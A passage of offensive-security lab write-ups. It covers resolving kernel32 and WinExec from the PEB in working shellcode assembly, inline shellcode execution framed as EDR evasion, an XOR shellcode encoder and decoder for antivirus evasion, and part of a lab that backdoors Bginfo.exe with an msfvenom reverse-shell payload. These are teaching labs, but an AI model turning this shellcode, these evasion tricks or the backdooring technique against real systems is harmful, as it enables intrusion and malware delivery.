Proceeding on with the `InMemoryOrderModuleList` pointing to `Peb.LDR.InMemoryOrderModuleList`, since we know it's at offset 0x14, we can get it like so:

```
? poi(poi(@$peb+0xc)+0x14)
```

![](/files/-LjkcWprBB4FGd0DS4dv)

...which tells us that the first `LDR_DATA_TABLE_ENTRY` structure is located at 0x00d231d8. If we try looking inside it, we can see that the `BaseDllName` indicates an error while reading the memory:

```
dt _LDR_DATA_TABLE_ENTRY 0xd231d8
```

![](/files/-Ljl8J9fuO725ZIMoRcN)

{% hint style="info" %}
The reason for the above error is because although `InMemoryOrderModuleList` points to an `LDR_DATA_TABLE_ENTRY`, we need to keep in mind that it's pointing 8 bytes into the structure itself since the structure is a doubly linked list. See the above screenshot for reference - `InMemoryOrderLinks` is at offset 0x8 of the `LDR_DATA_TABLE_ENTRY`.
{% endhint %}

We now know that in order to read the `LDR_DATA_TABLE_ENTRY` structure correctly, we need to subtract 8 bytes from the initial pointer 00d231d8:

```
dt _LDR_DATA_TABLE_ENTRY 0xd231d8-8
```

![No reading errors this time](/files/-Ljl8dM1c0PSsGk7XOP2)

Note how `InMemoryOrderLinks` now points to 0xd230d0 (which is an ntdll module as seen later) - which is the second module loaded by this process. This means that we can easily walk through **all** the loaded modules, since inspecting `LDR_DATA_TABLE_ENTRY` of one module will reveal the address of the structure for the next loaded module in `InMemoryOrderLinks` member. To confirm this - if we inspect the 0xd230d0, `InMemoryOrderLinks` now points to yet another structure for another module at 0xd235b8 (which as we will later see is the `LDR_DATA_TABLE_ENTRY` for the kernel32 module):

```
dt _LDR_DATA_TABLE_ENTRY 0xd230d0-8
```

![](/files/-Ljl8qNj4V4pboRQF19F)

Let's check the 0xd235b8 and note that we finally found the kernel32 base address which is 0x76670000:

```
dt _LDR_DATA_TABLE_ENTRY 0xd235b8-8
```

![](/files/-Ljl91-NmduQEda_mQAk)

To summarize - if we wanted a one-liner to view the first `LDR_DATA_TABLE_ENTRY`, we could view it like so:

```
dt _LDR_DATA_TABLE_ENTRY poi(poi(@$peb+0xc)+0x14)-8
```

![](/files/-Ljl9fKqansbR8BOLscJ)

Getting the pointer to `Ldr` and cross-checking it with !peb:

```
? poi(poi(@$peb+0xc)+0x14)
!peb
```

![](/files/-LjlCBMuiZnkWlPLLwm5)

Viewing the first and second `LIST_ENTRY` structures at 00d23d8 and 00d230d0:

```
dt _list_entry 00d231d8
dt _list_entry 0x00d230d0
```

![](/files/-LjlDBmnCqzks1C0LeJb)

The second `LIST_ENTRY` at 00d230d0 points to 00d235b8 - which is the `LDR_DATA_TABLE_ENTRY` for kernel32 module (again doing the same stuff we learned earlier in a different way):

```
dt _ldr_data_table_entry 0x00d235b8-8
```

![](/files/-LjlDHr8va-5QLMzo5rL)

Bases address of the kernel32.dll as seen above is at 76670000. Note that we can read the value by reading a double-word pointing at the start of `LDR_DATA_TABLE_ENTRY` minus the 8 bytes (reminder - because we're 8 bytes into the structure) and adding 18 bytes since this is where the DLLBase member is located in the `LDR_DATA_TABLE_ENTRY`:

```
dd 0x00d235b8-8+18 L1
// or dd 0x00d235b8+10 L1
```

Note that by doing the above, we still get the same DllBase address - 76670000:

![](/files/-LjlE2riqSmWzJos7YqJ)

## Finding Kernel32 Address in Assembly

Let's try finding the kernel32 dll base address in the process memory using all the information learned above using assembly - exactly as the shellcode would. You will notice that this is where all the offsets of various structures and members come into play:

```c
.386 
.model flat, stdcall 
.stack 4096
assume fs:nothing

.code 
	main proc
			mov eax, [fs:30h]		    ; Pointer to PEB (https://en.wikipedia.org/wiki/Win32_Thread_Information_Block)
			mov eax, [eax + 0ch]		; Pointer to Ldr
			mov eax, [eax + 14h]		; Pointer to InMemoryOrderModuleList
			mov eax, [eax]				  ; this program's module
			mov eax, [eax]				  ; ntdll module
			mov eax, [eax -8h + 18h]; kernel32.DllBase
			
			mov ebx, 0				      ; just so we can put a breakpoint on this
	main endp
	end main
```

Below shows a compiled and executed assembly with a highlighted eax register that points to a  memory address 76670000, which indicates that we got the base address of the kernel32 using assembly successfully:

![](/files/-LjlGOGv3c9ZBtk6gSRi)

## Finding Function Address

Once we have the kernel32 base address, we can then loop through all the exported functions of the module to find the function we're interested in (`WinExec`) - or in other words - the function we want to call from the shellcode. This process requires a number of steps to be performed which are well known, so let's try and follow them alongside with some visuals and a bit of PE parsing action.

See my previous lab about parsing PE files and some terminology on what is Virtual Address (VA) and Relative Virtual Address (RVA) which is used extensively in this exercise: &#x20;

{% content-ref url="/pages/-LQPhLIg2HTVSIbKB2tQ" %}
[Parsing PE File Headers with C++](/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++)
{% endcontent-ref %}

### Offsets in Tables

Before going into the visuals - the below table represents well known offsets of the kernel32 image and what data they contain or point to that we will reference a lot:

| Offset                        | Description                                                         |
| ----------------------------- | ------------------------------------------------------------------- |
| 0x3c into the file            | RVA of PE signature                                                 |
| 0x78 bytes after PE signature | RVA of Export Table                                                 |
| 0x14 into the Export Table    | Number of functions exported by a module                            |
| 0x1c into the Export Table    | RVA of Address Table - addresses of exported functions              |
| 0x20 into the Export Table    | RVA of Name Pointer Table - addresses of exported function names    |
| 0x24 into the Export Table    | RVA of Ordinal Table - function order number as listed in the table |

### Offsets in Visuals

Let's look at the kernel32.dll file offsets mentioned in the above table through a PE parser so we have an idea of what we're dealing with.

### 0x3c into the File

0x3c into the file contains the RVA of the PE signature. In our case, the RVA for the PE signature is F8:

![](/files/-Ljwdqk0GT86z8OT75Oo)

Sanity checking - F8 bytes into the file does indeed contain the PE signature 4550:

![](/files/-Ljwdb468K3CeRvLbwBu)

### 0x78 after PE Signature

F8 + 0x78 = 0x170 bytes into the file as mentioned earlier in the table, points to a RVA of Export Table. In our case the RVA of Export Table is 972c0:

![](/files/-Ljwenpv36HQmPRs6qOp)

Export Table starts at 972c0:

![](/files/-LkJMndrPddlWd1E5bmh)

### 0x14 into the Export Table - Number of Exported Functions

0x972c0 + 0x14 = 0x972d4 RVA contains a value that signifies how many functions kernel32 module exports - 0x643 in my case:

![](/files/-LjwjVMQlKdM3LZYV6Gx)

### 0x1c into the Export Table - Address Of Exported Functions

0x972c0 + 0x1c = 0x‭972DC‬ RVA contains an RVA to Exported functions Address Table which in my case is 972e8:

![](/files/-LkESxRXNv34KwSolqjE)

Indeed at 972e8 we see an RVA for the first exported function:

![](/files/-LkETElGJ8R-jcQDRXo0)

### 0x20 into the Export Table - Name Pointer Table

0x972c0 + 0x20 = 0x972e0 RVA contains a pointer to an RVA to exported functions Name Pointer Table - 0x98bf4 in my case:&#x20;

![](/files/-LjwkYHK2CufTCSWgvAO)

If we check the Name Pointer Table at 0x98bf4, we can confirm we see RVAs of exported function names:

![](/files/-Ljwkm7O0r7nE79tlUdH)

### 0x24 into the Export Table - Functions' Ordinal Table

0x972c0 + 0x24 = 0x972e4 RVA points to an RVA of functions' Ordinal Table, which in my case is 9a500:

![](/files/-LjwlvsZN8DPcT4eaMoE)

Again, confirming that ordinals are present at RVA 9a500:

![](/files/-Ljwm0b2V-Y95R7TodFz)

### Finding WinExec Position in the Name Pointer Table

Knowing all of the above, let's try to find a `WinExec` function address manually, so we know how to implement it in assembly.

Firs of, we would need to loop through the Name Pointer table, read the exported function's name and check if it is == `WinExec` and remembering how many iterations it took for us to find the function.&#x20;

It would have taken 0x5ff iterations for me to find the WinExec (0x602 - 0x3 = 0x5ff):

![](/files/-Lk5rq4J1BXVMZVDFg-V)

Note that:

* we start counting indexes from 0
* 0x3 was subtracted because the first function in the Name Pointer Table started from 4 as seen below:

![](/files/-Lk5t2TE3hIgHRUnEeHi)

### Finding WinExec Ordinal Number

In the Ordinal Table (starting at 0x9a500), we can find the WinExec Ordinal RVA with a simple formula. Note that the reason for multiplying the `WinExec` location (0x5ff) by two is because each ordinal is 2 bytes in size:

$$
OrdinalRVA = 0x9a500 + 0x5ff \* 2 = 0x9B0FE
$$

![](/files/-Lk61yZE_C7ZZ-gL7yaj)

Now from the `WinExec` Ordinal RVA location (9B0FE) we can read 2 bytes and get the actual `WinExec` Ordinal which is 0x0600:

![](/files/-Lk62kCipfsaqYfhu082)

### Finding WinExec RVA in the Export Address Table

To get the RVA of the WinExec function from the Export Address Table, we use a simple formula:

$$
WinExecRVA = ExportAddressTableRVA + (Ordinal \* 4)
$$

which translates to:

$$
WinExecRVA = 0x972e8 + (0x600 \* 4) = 0x98AE8‬
$$

![](/files/-Lk66AC8ZWIY474Isv7k)

From the above screenshot, we know that the RVA of WinExec is 0x5d220. Let's check this in WinDBG by first getting getting the kernel32 base address which is 75690000:

![](/files/-Lk67xVWyTMp8LLf2EtN)

If we add the `WinExec` RVA 0x5d220 to the kernel32 base address 0x75690000, we should land on the WinExec function, so let's try to disassemble that address and also disassemble the kernel32!WinExec symbol to confirm that the assembly instructions match:

```
//disassemble kernel32 base address + WinExec RVA
u 75690000+5d220

//disassemble kernel32!WinExec routine
u kernel32!WinExec
```

From the below, we can see that the disassembly matches confirming our calculations of `WinExec` RVA are correct:

![](/files/-Lk68KRFwxVEuxxsqa6s)

## Rinse and Repeat In Assembly

We are now ready to start implementing this in assembly.

### 0x3c into the Image

As per the visuals earlier that showed that 0x3c into the file is a PE signature, which contains a value F8:

![](/files/-Ljwdb468K3CeRvLbwBu)

Lines 1-13 are the same as seen earlier -  they find the kernel32 dll base address. In line 15 we move kernel32 base address to ebx holding our kernel32 base address. Then we shift that address by 3c bytes, read its contents and move it to eax. After this operation, the eax should hold the value F8, which we see it does:

![](/files/-LkE1vpRe6FG0rOHCMwh)

Now, we can find the address of PE signature by adding kernel32 base address and the PE signature RVA F8: 75690000 + F8 = 756900F8 and we find the PE signature there:

![](/files/-LkE4IfFXLXzI7JT7CD0)

### 0x78 after PE Signature

In line 20, we get an RVA of the Export Table by moving the eax register that contains an address of the PE signature by 78 bytes where we find an RVA of the Export Table which is stored in eax = 972C0:

![](/files/-LkE9jQRqqrKgVNa-vcV)

To find the address of the Export Table, we add kernel32 base address 75690000 and Export Table RVA 972C0 which results in the address 757272C0:

![](/files/-LkEFmnS-aAtU50Zz4pT)

### &#x20;0x14 into the Export Table - Number of Exported Functions

To check if our calculations in assembly are correct at this point, we can add the Export Table address and 0x14 (offset into the Export Table showing how many functions kernel32 module exports) and if we cross-reference the value found there with the results we got via the visual PE parsing approach, we should have 0x643 exported functions:

![](/files/-LjwjVMQlKdM3LZYV6Gx)

Let's add Export Table address 757272C0 and the offset 0x14, which equals to 0x757272D4. If we check that memory address, we see that indeed we have 0x643 value in there:

![](/files/-LkEY0jeIrZm75xbTwh_)

### 0x1c into the Export Table - Address Of Exported Functions

At offset 1c into the Export Table 757272C0, we find an RVA of Exported Functions Address table, which in my case is 000972E8:

![](/files/-LkE_s6jg_mafYmFJHmD)

To verify the calculation is correct - we can inspect the memory at address kernel32 base 75690000 + 0x972e8 = 0x757272E8 where we should see an RVA of the first exported function address which is 20400h as seen in the above screenshot.

Upon memory inspection at 0x757272E8, we see that indeed the value at that memory location is 20400h:

![](/files/-LkEbFH1iF3joUeqy_LT)

### 0x20 into the Export Table - Name Pointer Table

Same way, we can double check if 757272C0 (address of Export Table) + 0x20 bytes contains an RVA of the exported function names table which is 00098BF4:

![](/files/-LkIhSWSwGrdORXPHo8k)

Let's get its address now by adding the Name Pointer Table RVA 00098BF4 and kernel32 base address 75690000, which results in 75728BF4 where we can see the name of an RVA of the first exported function:

![](/files/-LkIhmMsjWX9VcITNibz)

If we follow that address 75690000 + 0x9b1f2, we find the first function name:

![](/files/-LkJSI8KGxum3ZgGKeSO)

### 0x24 into the Export Table - Functions' Ordinal Table

757272C0 (address of Export Table) + 0x24 bytes contains an RVA of the exported function Ordinals Table which is 0009A500:

![](/files/-LkIiUp3XLcRgVYp7Py_)

Getting the ordinal table address by adding kernel32 base 75690000 + the RVA of ordinal table at 0009A500 we arrive at 0x7572A500. Inspecting it, we indeed see that we're looking at the function Ordinal Table:

![](/files/-LkIipRmYGwNT5qVa3Jc)

### Finding WinExec Position in the Name Pointer Table

#### Pushing WinExec onto the Stack

Now, in order to find the `WinExec` position, before we proceed with looping and comparing each function name in the Name Pointer table with the string `WinExec`, we actually need to push the string `WinExec` to memory first.

We need to store it as a sequence of reversed bytes (indiannes). `WinExec` in hex is `57696e45 786563`. Let's push it to the stack in two pushes. First let's push the bytes `45 6e 69 57` - which pushes the `WinE` onto the stack:

![](/files/-LkF6muwDIa1xbKwXorG)

Let's now push the remaining bytes. Remember that we need a null byte at the end to terminate the string. Also, remember that data needs to be pushed onto the stack in reverse order:

![](/files/-LkF93HHG29vrXbi8H6r)

#### Finding WinExec Location in Name Pointer Table

After looping through the exported function Names Table and comparing each function name in there with `WinExec`, once `WinExec` is found, the loop breaks and the eax contains the number of iterations it took to find the `WinExec`. In this case it's 0x5ff - exactly the same number as previously seen when [doing this exercise manually](/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode#finding-winexec-position-in-the-name-pointer-table):&#x20;

![](/files/-LkFzDM4EEDGldpqbYcm)

### Finding WinExec Ordinal Number

Adding Ordinal Table Address 0x7572A500 and `WinExec` location 0x5FF multiplied by 2 (an ordinal is 2 bytes in size), results in `WinExec` ordinal 0x600:

![](/files/-LkG1_i9O7ig9bJmqxAJ)

### Finding WinExec RVA in the Export Address Table

Get the `WinExec` RVA from the Export Address Table by multiplying location of the `WinExec` 0x5ff by 4 (address is of 4 bytes in size for 32 bit binaries) and adding it to the Export Address Table at 0x757272E8, which results in 0x757272E8 + 5ff\*4 = 0x75728AE8 which contains `WinExec` RVA value - 5d220:

![](/files/-LkG2DwOlyZ-oAoVAmrj)

### Finding WinExec Virtual Address

We can now resolve the `WinExec` function address' location in the kernel32 dll module by adding the `WinExec` RVA 5d220 and kernel32 base address 75690000, which equals to 756ED220:&#x20;

![](/files/-LkG2zfXB9uzzmK8cvoO)

## Calling WinExec

Since we now have the address of the `WinExec` function, we can invoke it. Firstly, we need to push the 2 arguments that will be consumed by the WinExec:

```cpp
UINT WinExec(
  LPCSTR lpCmdLine,
  UINT   uCmdShow
);
```

We push a null terminated `calc` string and the value `10` that corresponds to a constant `SW_SHOWDEFAULT` and then invoke the function by calling its address with the keyword `call`:

![](/files/-LkIvkiwa4jkprIDjXqC)

Below shows our assembly in a debugger. The calculator pops after `call eax` instruction is executed:

![](/files/-LkIwigtVFN8L5jADcv6)

{% hint style="info" %}
We used `WinExec` function in this lab, but shellcode can and usually does use this technique to resolve addresses for `GetProcAddress` and `LoadLibrary` functions to make resolving other required functions easier.
{% endhint %}

## Code

```c
.386 
.model flat, stdcall 
.stack 4096
assume fs:nothing

.code 
	main proc
		; form new stack frame
		push ebp
		mov ebp, esp

		; allocate local variables and initialize them to 0
		sub esp, 1ch
		xor eax, eax
		mov [ebp - 04h], eax			; will store number of exported functions
		mov [ebp - 08h], eax			; will store address of exported functions addresses table
		mov [ebp - 0ch], eax			; will store address of exported functions name table
		mov [ebp - 10h], eax			; will store address of exported functions ordinal table
		mov [ebp - 14h], eax			; will store a null terminated byte string WinExec
		mov [ebp - 18h], eax			; will store address to WinExec function
		mov [ebp - 1ch], eax			; reserved

		; push WinExec to stack and save it to a local variable
		push 00636578h				    ; pushing null,c,e,x
		push 456e6957h				    ; pushing E,n,i,W
		mov [ebp - 14h], esp			; store pointer to WinExec

		; get kernel32 base address
		mov eax, [fs:30h]		    	; Pointer to PEB (https://en.wikipedia.org/wiki/Win32_Thread_Information_Block)
		mov eax, [eax + 0ch]			; Pointer to Ldr
		mov eax, [eax + 14h]			; Pointer to InMemoryOrderModuleList
		mov eax, [eax]				  	; this program's module
		mov eax, [eax]  					; ntdll module
		mov eax, [eax -8h + 18h]	; kernel32.DllBase

		; kernel32 base address
		mov ebx, eax							; store kernel32.dll base address in ebx

		; get address of PE signature
		mov eax, [ebx + 3ch]			; 0x3c into the image - RVA of PE signature
		add eax, ebx				    	; address of PE signature: eax = eax + kernel32 base -> eax = 0xf8 + kernel32 base

		; get address of Export Table
		mov eax, [eax + 78h]			; 0x78 bytes after the PE signature is an RVA of Export Table
		add eax, ebx					    ; address of Export Table = Export Table RVA + kernel32 base
  
		; get number of exported functions
		mov ecx, [eax + 14h]		
		mov [ebp - 4h], ecx				; store number of exported functions

		; get address of exported functions table
		mov ecx, [eax + 1ch]			; get RVA of exported functions table
		add ecx, ebx				    	; get address of exported functions table
		mov [ebp - 8h], ecx				; store address of exported functions table

		; get address of name pointer table
		mov ecx, [eax + 20h]			; get RVA of Name Pointer Table
		add ecx, ebx					    ; get address of Name Pointer Table
		mov [ebp - 0ch], ecx			; store address of Name Pointer Table

		; get address of functions ordinal table
		mov ecx, [eax + 24h]			; get RVA of functions ordinal table
		add ecx, ebx					    ; get address of functions ordinal table
		mov [ebp - 10h], ecx			; store address of functions ordinal table
	
		; loop through exported function name pointer table and find position of WinExec
		xor eax, eax
		xor ecx, ecx
			
		findWinExecPosition:
			mov esi, [ebp - 14h]		; esi = pointer to WinExec
			mov edi, [ebp - 0ch]		; edi = pointer to exported function names table
			cld											; https://en.wikipedia.org/wiki/Direction_flag
			mov edi, [edi + eax*4]	; get RVA of the next function name in the exported function names table
			add edi, ebx				    ; get address of the next function name in the exported function names table

			mov cx, 8					      ; tell the next-comparison instruction to compare first 8 bytes
			repe cmpsb					    ; check if esi == edi
				
			jz WinExecFound
			inc eax									; increase the counter
			cmp eax, [ebp - 4h]			; check if we have looped over all the exported function names
			jne findWinExecPosition	
				
		WinExecFound:		
			mov ecx, [ebp - 10h]		; ecx = ordinal table
			mov edx, [ebp - 8h]			; edx = export address table

			; get address of WinExec ordinal
			mov ax, [ecx + eax * 2]	; get WinExec ordinal
			mov eax, [edx + eax * 4]; get RVA of WinExec function
			add eax, ebx				    ; get VA of WinExec

			jmp InvokeWinExec

		InvokeWinExec:
		  xor edx, edx				  	; null byte
			push edx					
			push 636c6163h				  ; push calc on the stack
			mov ecx, esp			    	; ecx = calc
	
			push 10  					      ; uCmdSHow = SW_SHOWDEFAULT
			push ecx								; lpCmdLine = calc
			call eax 								; call WinExec
			
		; clear stack
		add esp, 1ch							; local variables				
		add esp, 0ch							; pushes for ebp and WinExec
		add esp, 4h								; pushes for WinExec invokation
		pop ebp
		ret
	main endp
	end main
```

## References

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data>" %}

{% embed url="<https://0xevilc0de.com/locating-dll-name-from-the-process-environment-block-peb/>" %}

{% embed url="<https://en.wikipedia.org/wiki/Win32_Thread_Information_Block>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec>" %}

{% embed url="<https://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames>" %}

{% embed url="<https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html>" %}


# Executing Shellcode with Inline Assembly in C/C++

It's possible to execute shellcode inline in a C/C++ program. The reason why it's good to have this technique in your arsenal is because it does not require you to allocate new `RWX` memory to copy your shellcode over to by using `VirtualAlloc` API which is heavily monitored by EDRs and can get you caught. Instead, the code will get embedded into the PE's `.TEXT` section which is executable by default as this is where the rest of your application's code resides.

## Execution

Install mingw - I'm doing it via chocolatey pacakge manager:

```csharp
choco install mingw
```

Create a simple C program that includes the shellcode. In my case, I'm simply adding 4 NOP instructions and prior to that, I am printing out the string `spotless`, so I can easily identify the shellcode location when debugging the program:

{% code title="inline-shellcode.c" %}

```cpp
#include <Windows.h>
#include <stdio.h>

int main() {
	printf("spotless");
    asm(".byte 0x90,0x90,0x90,0x90\n\t"
		"ret\n\t");
	return 0;
}
```

{% endcode %}

Let's compile and link the code:

```csharp
gcc -c .\inline-shellcode.c -o main.o; g++.exe .\main.o -o .\main.exe
```

Debugging the code via xdbg, we can see where the string `spotless` is going to be printed out and straight after it, we have the 4 NOP instructions:

![](/files/-LksmzZsiGWinNTkjszV)

## References

{% embed url="<https://github.com/Mr-Un1k0d3r/Shellcoding>" %}


# Writing Custom Shellcode Encoders and Decoders

The purpose of this lab is to get a bit more comfortable with writing primitive custom shellcode encoders and decoders.

Shellcode encoding simply means transforming original shellcode bytes into a set of arbitrary bytes by following some rules (encoding scheme), that can be later be reverted back to their original values by following the same rules (decoding scheme) in reverse.

{% hint style="success" %}
Shellcode encoding may be useful in evading static antivirus signatures and eliminating null bytes.
{% endhint %}

## Encoder

### Raw Shellcode

To make it simple, for this lab, let's imagine that our raw shellcode (before encoding) is made of the following bytes:

```csharp
$shellcode = 0x6F,0x72,0x69,0x67,0x69,0x6E,0x61,0x6C,0x20,0x73,0x68,0x65,0x6C,0x6C,0x63,0x6F,0x64,0x65
```

...which is actually just a simple string `original shellcode` as you can see here:

![](/files/-MLY43Vf1W0VhVLJTK9W)

### Encoding Scheme

Now that we have the raw shellcode bytes, we need to decide on the algorithm that defines how each byte of the raw shellcode should be encoded/transformed. There's many ways to do it, but for this lab, let's define our encoding steps like this:

1. xor with 0x55
2. increment by 1
3. xor with  0x11

### The Encoder Itself

Let's write a simple powershell script that will help us cycle through the raw shellcode bytes and encode them by performing operations defined in our encoding scheme:

```csharp
<#
    Encoding steps:
    1. xor with 0x55
    2. increment by 1
    3. xor with 0x11
#>

# Original raw shellcode bytes
$shellcode = 0x6F,0x72,0x69,0x67,0x69,0x6E,0x61,0x6C,0x20,0x73,0x68,0x65,0x6C,0x6C,0x63,0x6F,0x64,0x65
$printFriendly = ($shellcode | ForEach-Object ToString x2) -join ',0x'
write-host "Original shellcode: 0x$printFriendly"

# Iterate through shellcode bytes and encode them
$encodedShellcode = $shellcode | % {
    $_ = $_ -bxor 0x55
    $_ = $_ + 0x1
    $_ = $_ -bxor 0x11
    Write-Output $_
}

# Print encoded shellcode
$printFriendly = ($encodedShellcode | ForEach-Object ToString x2) -join ',0x'
write-host "Encoded shellcode: 0x$printFriendly"

# Print encoded bytes size
write-host "Size: " ('0x{0:x}' -f $shellcode.count)

# Check if encoded shellcode contains null bytes
write-host "Contains NULL-bytes:" $encodedShellcode.contains(0)
```

If we run the encoder on our shellcode bytes `0x6F,0x72,0x69,0x67,0x69,0x6E,0x61,0x6C,0x20,0x73,0x68,0x65,0x6C,0x6C,0x63,0x6F,0x64,0x65`, it will spit out the encoded shellcode bytes (lime) and show if null bytes were found (lime):

![](/files/-MLYAUySrBopLx9Iqxgc)

Note that it also shows the shellcode size (orange) - we will need it later when writing a decoder, so that we can tell the decoder how many shellcode bytes it should process.

## Decoder

### Decoding Scheme

The decoding scheme is the same as the encoding scheme, only in reverse:

![](/files/-MLYoU6yz-uXQ52noXfg)

...which means that we will have to iterate through all the encoded bytes of the shellcode and transform them into original bytes like this:

1. xor with 0x11
2. decrement by 0x1 (because we incremented when encoding, we need to decrement now)
3. xor with 0x55

A fully commented NASM `decoder.asm` is here:

{% code title="decoder.asm" %}

```cpp
global _start

section .text
    _start:
        jmp short shellcode

    decoder:
        pop rax                 ; store encodedShellcode address in rax - this is the address that we will jump to once all the bytes in the encodedShellcode have been decoded

    setup:
        xor rcx, rcx            ; reset rcx to 0, will use this as a loop counter
        mov rdx, 0x12           ; shellcode size is 18 bytes

    decoderStub:
        cmp rcx, rdx            ; check if we've iterated and decoded all the encoded bytes
        je encodedShellcode     ; jump to the encodedShellcode, which actually now contains the decoded shellcode
        
        ; encodedShellcode bytes are being decoded here per our decoding scheme
        xor byte [rax], 0x11    ; 1. xor byte with 0x11
        dec byte [rax]          ; 2. decremenet byte by 1
        xor byte [rax], 0x55    ; 3. xor byte with 0x55
        
        inc rax                 ; point rax to the next encoded byte in encodedShellcode
        inc rcx                 ; increase loop counter
        jmp short decoderStub   ; repeat decoding procedure
            
    shellcode:
        call decoder            ; jump to decoder label. This pushes the address of encodedShellcode to the stack (to be popped into rax as the first instruction under the decoder label)
        encodedShellcode: db 0x2a,0x39,0x2c,0x22,0x2c,0x2d,0x24,0x2b,0x67,0x36,0x2f,0x20,0x2b,0x2b,0x26,0x2a,0x23,0x20
```

{% endcode %}

{% hint style="info" %}
Note that line 12 contains the shellcode size - `0x12` - the value that was printed out by our `encoder.ps1`
{% endhint %}

### Assembling the Decoder

Let's assemble our `decoder.asm` with nasm:

```
nasm -f win64 .\decoder.asm -o .\decoder
```

### Extracting Decoder Op-Codes

The decoder file assembled in the previous step, contains our decoder's bytes / op-codes (and our encoded shellcode) that can be executed by the CPU once in process's executable memory. We need to extract them if we want to inject and execute those bytes as shellcode.

For the sake of simplicity, let's do this manually by loading the assembled `decoder` file into the CFF Explorer's `Quick Disassembler` and compare it with our assembly instructions in `decoder.asm`.

We can clearly see that the op-codes of our decoder start at `0x3C` into the file assembled file:

![](/files/-MLYHXjxBsEsOta2Xxxx)

Let's switch to the Hex Editor and we can copy (right click on the selected bytes) the decoder bytes (for this lab, we will go with a Hex format), starting at `0x3c` (blue) and ending with the last byte of our encoded shellcode `0x20` (red):

![](/files/-MLYMJGv-RM6VtDV6m26)

## Confirming It Worked

Now that we've extracted our decoder's (that includes our encoded shellcode) op-codes, let's check if we can make them execute and see our encoded shellcode get decoded and launched.

{% hint style="warning" %}
**Reminder** \
Our decoded shellcode will not execute as it's simply an ascii string `original shellcode`, but it would if it was actual executable code.
{% endhint %}

To keep things simple, let's fire up x64dbg and attach it to a new instance of notepad.exe - this is the process that we will be executing our decoder in - and hit F9 so that we break at the entry point:

![](/files/-MLYQYInzGq-EgchAyky)

### Changing Memory Permissions

Once at the entry point, let's change the memory permissions for the `.text` section, so we can demo this decoder:

1. Right click the instruction address and `Follow in Memory Map`
2. Right click the `.text` section and `Set Page Memory Rights`
3. Ensure `Select Full Access` is selected and hit `Set Rights`

![](/files/-MLYQTNsQa8iZggs-YRf)

### Pasting The Bytes

Once the permissions are set, jump to the `.text` section with right click + `Follow in Disassembler`:

![](/files/-MLYSOSHdhwIocesirvr)

Select enough instructions that could be replaced with our shellcode bytes, hit Ctrl + E (Binary Edit) and paste the extracted decoder op-codes there:

![](/files/-MLYUPnjoqzlCQryPRRj)

### Changing RIP

Set the instruction pointer RIP to the location we've just pasted our shellcode to:

![](/files/-MLYVDXwVJ-om6NQsZvS)

### Following Memory Dump

Let's now follow the same address we've pasted the bytes to in the Memoy Dump too, so we can see how our shellcode is getting decoded as we step through the decoding stub:

![](/files/-MLYWBidMakqgXSGL-uk)

### Decoding in Action

We can finally execute our decoder by repeatedly hitting F7 and observe how our shellcode gets decoded and the initial string `original shellcode` is being revealed in the memory dump view:

![](/files/-MLYZoWeUOdzvaB-BoIG)

Note that after the decoding has completed, the code is transferred to our decoded shellcode:

![](/files/-MLYc0tyCbjPZDpW0Dph)


# Backdooring PE Files with Shellcode

The purpose of this lab is to learn the Portable Executable (PE) backdooring technique by adding a new readable/writable/executable code section with our malicious shellcode to any portable executable file.

High level process of this technique:

* Add a new RWX PE section, big enough to hold our shellcode, to any .exe file&#x20;
* Generate shellcode
* Add shellcode to the newly created PE section
* Redirect execution flow of the .exe file being backdoored to the shellcode
* Redirect execution flow back to the legitimate .exe instructions

The last two steps are a bit more complicated and will have more details below.

## Groundwork

### Generate Shellcode

First of, let's generate the shellcode so we know how many bytes of space we will need in the new PE section:

```csharp
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
```

![](/files/-LkzORtGb_fVtxARZaf9)

Note that the shellcode size is 324 bytes - the new PE section will have to be at least that big.

### New PE Code Section

I randomly chose Bginfo.exe from sysinternals as a binary to be backdoored. Let's add a new PE section called `.code1` that will contain our shellcode - note the size is 200h bytes, so plenty for our shellcode which was only 324 bytes:

![](/files/-LkzO5goEZJR5vHGqcUo)

Note the Raw Address of the new section which is CD200 - this is where we will place the shellcode inside the file in later steps.

Let's make the new PE section writable/executable and mark it as `contains code` using CFF Explorer:

![](/files/-LkzOCl4UOrIytApTV37)

### Inserting Shellcode

Let's copy the shellcode over to the new code section, starting at 0xCD200 into the file:

![](/files/-LkzOGitaJ8ENZx4aN_2)

### Testing the Shellcode

Let's see if we can force the Bginfo.exe binary to execute our shellcode using debugger first. We need to find the base address of Bginfo.exe, which we see is 0x00400000:

![](/files/-LkzP2MTzsyl_xVHjMdH)

Since the new section .code1 that holds our shellcode has an RVA 000D8000, we can find the shellcode in a running process at 00400000+00d8000 = ‭4D8000‬. Below shows that the bytes at cd200 (file offset) match those at 4d8000 while the bginfo.exe is running:

![](/files/-LkzPrlIuIHPhePj4gbB)

When debugging the binary, if we set the EIP to point to 4D8000‬ and let the debugger run, if we have a listener on the attacking system, we get the reverse shell which confirms that we can successfully execute the shellcode if we manage to redirect the code execution flow of bginfo.exe:

![](/files/-LkzjE8L4qN2ICgbKYm1)

{% hint style="info" %}
In the above screenshot, `pushad` and `pushdf` are the first instructions at 4d8000 - it's not shown in this lab how those two instructions were inserted there, but there is no magic  - just add   bytes `60 9c` before the shellcode at 0xCD200 in the bginfo and you're set.
{% endhint %}

## Redirecting Code Execution Flow

In previous paragraph we confirmed the shellcode can be executed, but we did this manually, with help of a debugger. Now let's patch the binary, so that the process is automated and does not require our intervention.

The process of patching the binary to redirect the code execution flow is as follows:

1. Find the first instruction that is 5 bytes in size inside the bginfo.exe binary&#x20;
   1. We will overwrite this instruction with a jump to the shellcode as explained in step 2&#x20;
   2. Prior to overwriting this instruction, write it down somewhere - we will need to append it to our shellcode later in order to restore the code execution flow
   3. Write down the address of the next instruction to be executed next - after the shellcode has been executed, stack and registers restored, we will jump back to this address to let the bginfo.exe continue as normal
2. Overwrite the instruction in step 1 with a jump to the shellcode at 4D8000‬
3. Save registers' and flags' state by prepending the shellcode with `pushad` and `pushfd` instructions - we do this so we can restore their state before redirecting the execution back to bginfo.exe and avoid any crashes
